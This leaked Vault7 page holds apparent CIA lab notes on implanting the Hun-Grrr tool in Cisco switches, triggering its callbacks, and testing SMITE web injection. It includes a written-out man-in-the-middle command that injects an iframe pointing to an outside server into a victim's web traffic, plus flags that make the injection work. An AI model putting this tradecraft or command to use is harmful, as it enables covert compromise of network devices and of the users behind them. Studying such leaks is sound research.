Vault7: CIA Hacking Tools Revealed
Navigation: » Latest version
Owner: User #71467
JQJTHRESHER Test Notes
3/4/2015 - User #77215
Followed README instructions to trigger HG. Opened and setup Listening window first, then followed steps to open and setup Trigger window. When I entered ./prep-ct.sh in the Trigger window, got the following message in the Listening window:
Bus error (core dumped) - spoke with User #77217/Xetron about this. He says this is because ./prep-ct.sh is only meant to be run once. It is in the README to run twice because the README assumes you are not triggering and listening on the same VM.
3/6/2015 - User #77215
Was trying different things with the Seeds host to get HG to call back without an explicit IP to impersonate. I edited the ifcfg-eth1 file on Seeds to remove the DOMAIN variable and then saved my changes to the file. Then I restarted network services on the Seeds host so my changes would take effect. Noticed that I could no longer ping the default gateway from the Seeds host. Logged into network gear to verifiy connections and found 3750G g1/0/11 in err-disable state with syslog message %ETHCTR-3-LOOP_BACK_DETECTED: Loopback detected on Gi1/0/11, putting Gi1/0/11 in err-disable state. I bounced the port to restore and it came up/up. I also check the TOR-SW-1 and found g1/0/3 in the same state. Bounced port to restore. Went back to ICON VMVirtual Machine to attempt to trigger again and now Trigger packets are not successful, where they were before. Ran tcpdump on the Seeds host that is the destination for the trigger packet and it actually does receive the trigger packet. HG is no longer picking up the trigger packet. Reloaded 2960S to reinstall HG, and without HG installed, ports no longer to into err-disable state when I issue service network restart on Seeds. Successfully re-attacked with HG and still do not see the err-disable issue.
Progress / Notes
- TR team has performed initial review of configuration and Ops provided diagrams
- TR team is moving required VMs at this time
- Created Blot-Proxy, Blot-Onslaught, Blot-CoverWeb, ICON-CutThroat VMs. Copied Fedora10-hg2960-Seeds VMVirtual Machine from NDBNetwork Devices Branch Lab to use for seed traffic.
- Built test network with 2960S-24TS-L target switch, 3750G-24T Router and 3 2960-24TT-L switches.
- Upgraded IOSApple operating system for small devices on target 2960S switch to c2960s-universalk9-mz.122-55.SE7.bin. Updated confiugration to match config obtained from COG.
- Uploaded Aquaman delivery package to ICON-CutThroat VMVirtual Machine and installed in /home/ubuntu.
- Successfully attacked target 2960S switch with SSHIAC and installed Hun-Grrr. Note:
- On ICON-CutThroat VMVirtual Machine - had to move to Devlan temporarily to download the ia32-lib from the repo in order for SSHIAC to run
- Must enable the root account and su - root in each window you use when you attack with SSHIAC and use CutThroat
- Modified Seeds scripts on Fedora10-hg2960-Seeds VMVirtual Machine to generate ICMP/ARP, DNSDomain Name System and HTTPHypertext Transfer Protocol traffic in our test network.
- Established comms between Hun-Grrr and ICON-Cuthroat VM.
- Used beacon get_current_trigger_number and beacon set_current_trigger_number to make sure HG trigger sequence number was correct
- Had successful trigger packets however did not receive a callback
- User #77216/Xteron recommended to use beacon call_me_back https 443 -ii 172.31.255.2 and then finally comms came up, successful SSLSecure Socket Layer handshake in listening window.
- Created new WebServer VMVirtual Machine to use as web destination for seed traffic - 172.20.13.25.
- Created new BINDDNS server software DNSDomain Name System server VMVirtual Machine to resolve WebServer domain. New BINDDNS server software server has google.com, cnn.com and blot.com zones.
- IXIA added to the topology for traffic generation. Port 11 on IXIA to 0/1 on 3750 and IXIA Port 20 to 2960S 1/0/24
- Spoke with BARTWELL and discussed network topology and CONOP. We will need to update our testbed architecture to more closely match operational network.
- Installed Flux on FluxHost VM
- Copied Windex and Windex Target VMs to Test Range from NDBNetwork Devices Branch lab for use in SMITE testing
- Re-configured topology based on latest 2960 configs from BARTWELL.
- Fixed issue with Seeds traffic - added second DNSDomain Name System server and moved both DNSDomain Name System servers and Web server into public IP space. HG comms now established without specifying a host to impersonate.
- Successfully tested HG SMITE functionality using Windex-Victim-WinXPProSP3 (192.168.21.11), Windex (X.X.X.XX (LVLT-GOGL-8-8-8[US])), and our WebServer (X.X.X.XX (LVLT-GOGL-8-8-8[US])).
- User #77213/Xetron recommends always using the -bc and -bk flags when creating the mitm rule. This bypasses compression and chunking, and SMITE did not work in our test scenario without these flags.
- User #77214/Xetron noted that the iframe is injected after the <body> tag, and if the body tag is split into two packets, HG will not add the iframe
mitm create http_iframe 192.168.21.11 255.255.255.0 0 0 X.X.X.XX (LVLT-GOGL-8-8-8[US]) 255.255.255.0 80 80 "https://X.X.X.XX (LVLT-GOGL-8-8-8[US]):8888/?promo_code=1Z45RDJ" -en -bc -bk
- Installed 12.2(50)SE5 on 2960#3 for use in testing Tunnel
- Copied RANCID VMVirtual Machine from NDBNetwork Devices Branch Lab up to TestRange and configured for use on JQJTHRESHER testing
- Reviewed Test Plan with team
- Discussed CONOPConcealed Operation of use of Flux with Dualor Tunnel with Operator
- Implanted 2960#3 with aquaman-3h survey delivery of HG.